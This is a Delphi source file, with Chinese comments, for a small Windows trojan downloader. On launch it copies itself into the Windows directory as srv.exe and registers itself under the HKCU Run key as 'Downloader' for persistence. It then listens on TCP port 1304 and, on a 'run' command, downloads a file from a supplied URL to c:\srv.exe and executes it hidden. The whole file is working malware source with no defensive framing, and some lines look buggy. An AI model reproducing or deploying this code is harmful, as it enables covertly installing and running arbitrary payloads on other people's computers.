program Server;

uses Windows,Winsock,urlmon;

const
BufSize=1024;
var
buf :array[0..BufSize-1] of char;

function DownloadToFile(Sourcefile, Destfile: string): Boolean; //下載函數
begin
try
Result:=UrlDownloadToFile(nil,PChar(Sourcefile),PChar(Destfile),0,nil)=0;
except
Result:=false;
end;
end;

function StrPas(const Str: PChar): string;//轉換Pchar字符為String格式
begin
Result := Str;
end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
  MOV   EDX,EDI
  MOV   EDI,EAX
  MOV   ECX,0FFFFFFFFH
  XOR   AL,AL
  REPNE   SCASB
  MOV   EAX,0FFFFFFFEH
  SUB   EAX,ECX
  MOV   EDI,EDX
end;

function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
  PUSH   EDI
  PUSH   ESI
  MOV   ESI,EAX
  MOV   EDI,EDX
  MOV   ECX,0FFFFFFFFH
  XOR   AL,AL
  REPNE   SCASB
  NOT   ECX
  MOV   EDI,ESI
  MOV   ESI,EDX
  MOV   EDX,ECX
  MOV   EAX,EDI
  SHR   ECX,2
  REP   MOVSD
  MOV   ECX,EDX
  AND   ECX,3
  REP   MOVSB
  POP   ESI
  POP   EDI
end;

procedure SendData(FSocket:integer;SendStr:string);
begin
FillChar(buf,BufSize,#0);
strcopy(buf,PChar(SendStr));
send(FSocket,buf,sizeof(buf),0);
end;

procedure Run;
var
wd :TWSAdata;
server,recSocket :TSocket;
ca :TSockAddrIn;
rec_len:integer;
ip :pchar;
port :integer;
cmd:string;
begin
//不能啟動winsock庫，退出
if WSAStartup($0101,wd)<>0 then exit;
//創建一個套接口
server:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
//連接有錯誤，退出
if server=INVALID_SOCKET then exit;
port :=1304;
ip :='127.0.0.1';
ca.sin_family :=PF_INET;
  ca.sin_port :=htons(port);
  ca.sin_addr.s_addr :=inet_addr(ip);
//將本地地址與套接口捆綁
if bind(server,ca,sizeof(ca))=SOCKET_ERROR then
begin
closesocket(server);
exit;
end;
//監聽
listen(server,5);
recSocket :=accept(server,nil,nil);
while true do
begin
if recSocket=socket_error then exit;
rec_len :=recv(recSocket,buf,BufSize,0);
if rec_len=socket_error then
begin
  closesocket(recSocket);
  exit;
end;
if rec_len<=0 then exit;
cmd :=strpas(buf);
if copy(cmd,1,3)='run' then //自動運行
begin
  cmd:=Copy(cmd,4,length(cmd)-3);
  if Pos('http://',cmd)=0 then
  cmd:='http://'+cmd;
  SendData(recSocket,'>> 服務端接收到命令（下載+自動運行），正在執行...');
  if DownloadToFile(cmd,'c:\srv.exe') then   //下載成功
  begin
  Winexec('c:\srv.exe',SW_HIDE);
  SendData(server,'>> 服務端下載并運行目標文件成功！');
  end else
  SendData(recSocket,'>> 服務端下載目標文件失敗！');
end;
if Copy(cmd,1,5)='norun' then   //不運行
begin
  cmd:=Copy(buf,6,Length(cmd)-5);
  if Pos('http://',cmd)=0 then
  cmd:='http://'+cmd;
  SendData(recSocket,'>> 服務端接收到命令（下載），正在執行...');
  if DownloadToFile(cmd,'c:\srv.exe') then   //下載成功
  SendData(recSocket,'>> 服務端下載目標文件成功！')
  else
  SendData(recSocket,'>> 服務端下載目標文件失敗！');
end;
end;
closesocket(recSocket);
closesocket(server);
end;

var
mykey :HKEY;
buffer,cmd :array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(buffer,MAX_PATH);
lstrcat(buffer,'\srv.exe');
GetModuleFileName(hInstance,cmd,MAX_PATH);
CopyFile(cmd,buffer,false);
RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\
Windows\CurrentVersion\Run',0,KEY_ALL_ACCESS,mykey);
RegSetValueEx(mykey,'Downloader',0,REG_SZ,@buffer,sizeof(buffer));
Run;
end.